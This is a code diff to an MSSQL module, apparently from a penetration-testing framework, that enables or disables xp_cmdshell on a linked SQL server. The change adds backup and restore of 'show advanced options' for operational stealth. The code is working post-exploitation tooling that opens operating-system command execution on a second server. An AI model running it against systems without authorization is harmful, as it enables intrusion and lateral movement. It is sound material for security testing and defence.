@@ -17,9 +17,9 @@ def __init__(self):
1717 def options (self , context , module_options ):
1818 """
1919 Defines the options for enabling or disabling xp_cmdshell on the linked server.
20- ACTION Specifies whether to enable or disable:
21- - enable (default)
22- - disable
20+ ACTION Specifies whether to enable or disable:
21+ - enable (default)
22+ - disable
2323 LINKED_SERVER The name of the linked SQL server to target.
2424 """
2525 self .action = module_options .get ("ACTION" , "enable" )
@@ -28,6 +28,10 @@ def options(self, context, module_options):
2828 def on_login (self , context , connection ):
2929 self .context = context
3030 self .mssql_conn = connection .conn
31+
32+ # Store the original state of options that have to be enabled/disabled in order to restore them later
33+ self .backuped_options = {}
34+
3135 if not self .linked_server :
3236 self .context .log .fail ("Please provide a linked server name using the LINKED_SERVER option." )
3337 return
@@ -42,22 +46,58 @@ def on_login(self, context, connection):
4246
4347 def enable_xp_cmdshell (self ):
4448 """Enable xp_cmdshell on the linked server."""
45- query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{ self .linked_server } ]"
46- self .context .log .display (f"Enabling advanced options on { self .linked_server } ..." )
47- out = self .query_and_get_output (query )
48- query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{ self .linked_server } ]"
49- self .context .log .display (f"Enabling xp_cmdshell on { self .linked_server } ..." )
50- out = self .query_and_get_output (query )
51- self .context .log .display (out )
49+ self .backup_and_enable ("advanced options" )
50+
51+ current_value = self .is_option_enabled ("xp_cmdshell" )
52+ self .context .log .display (f"Enabling xp_cmdshell on { self .linked_server } . Current value: { current_value } " )
53+ self .mssql_conn .sql_query (f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{ self .linked_server } ]" )
5254 self .context .log .success (f"xp_cmdshell enabled on { self .linked_server } " )
5355
56+ self .restore ("advanced options" )
57+
5458 def disable_xp_cmdshell (self ):
5559 """Disable xp_cmdshell on the linked server."""
56- query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{ self .linked_server } ]"
57- self .context .log .display (f"Disabling xp_cmdshell on { self .linked_server } ..." )
58- self .query_and_get_output (query )
60+ self .backup_and_enable ("advanced options" )
61+
62+ current_value = self .is_option_enabled ("xp_cmdshell" )
63+ self .context .log .display (f"Disabling xp_cmdshell on { self .linked_server } . Current value: { current_value } " )
64+ self .mssql_conn .sql_query (f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{ self .linked_server } ]" )
5965 self .context .log .success (f"xp_cmdshell disabled on { self .linked_server } " )
6066
61- def query_and_get_output (self , query ):
62- """Executes a query and returns the output."""
63- return self .mssql_conn .sql_query (query )
67+ self .restore ("advanced options" )
68+
69+ # Adapting methods from MSSQLEXEC for backup and restore functionality
70+ def restore (self , option ):
71+ try :
72+ if not self .backuped_options [option ]:
73+ self .context .log .debug (f"Option '{ option } ' was not enabled on { self .linked_server } originally, attempting to disable it." )
74+ query = f"EXEC ('EXEC master.dbo.sp_configure \" { option } \" , 0;RECONFIGURE;') AT [{ self .linked_server } ]"
75+ self .context .log .debug (f"Executing query: { query } " )
76+ self .mssql_conn .sql_query (query )
77+ else :
78+ self .context .log .debug (f"Option '{ option } ' was originally enabled on { self .linked_server } , leaving it enabled." )
79+ except Exception as e :
80+ self .context .log .error (f"[OPSEC] Error when attempting to restore option '{ option } ' on { self .linked_server } : { e } " )
81+
82+ def backup_and_enable (self , option ):
83+ try :
84+ self .backuped_options [option ] = self .is_option_enabled (option )
85+ if not self .backuped_options [option ]:
86+ self .context .log .debug (f"Option '{ option } ' is disabled on { self .linked_server } , attempting to enable it." )
87+ query = f"EXEC ('EXEC master.dbo.sp_configure \" { option } \" , 1;RECONFIGURE;') AT [{ self .linked_server } ]"
88+ self .context .log .debug (f"Executing query: { query } " )
89+ self .mssql_conn .sql_query (query )
90+ else :
91+ self .context .log .debug (f"Option '{ option } ' is already enabled on { self .linked_server } ." )
92+ except Exception as e :
93+ self .context .log .error (f"Error when checking/enabling option '{ option } ' on { self .linked_server } : { e } " )
94+
95+ def is_option_enabled (self , option ):
96+ query = f"EXEC ('EXEC master.dbo.sp_configure \" { option } \" ;') AT [{ self .linked_server } ]"
97+ self .context .log .debug (f"Checking if { option } is enabled on { self .linked_server } : { query } " )
98+ result = self .mssql_conn .sql_query (query )
99+ # Assuming the query returns a list of dictionaries with 'config_value' as the key
100+ self .context .log .debug (f"{ option } check result: { result } " )
101+ if result and result [0 ]["config_value" ] == 1 :
102+ return True
103+ return False
0 commit comments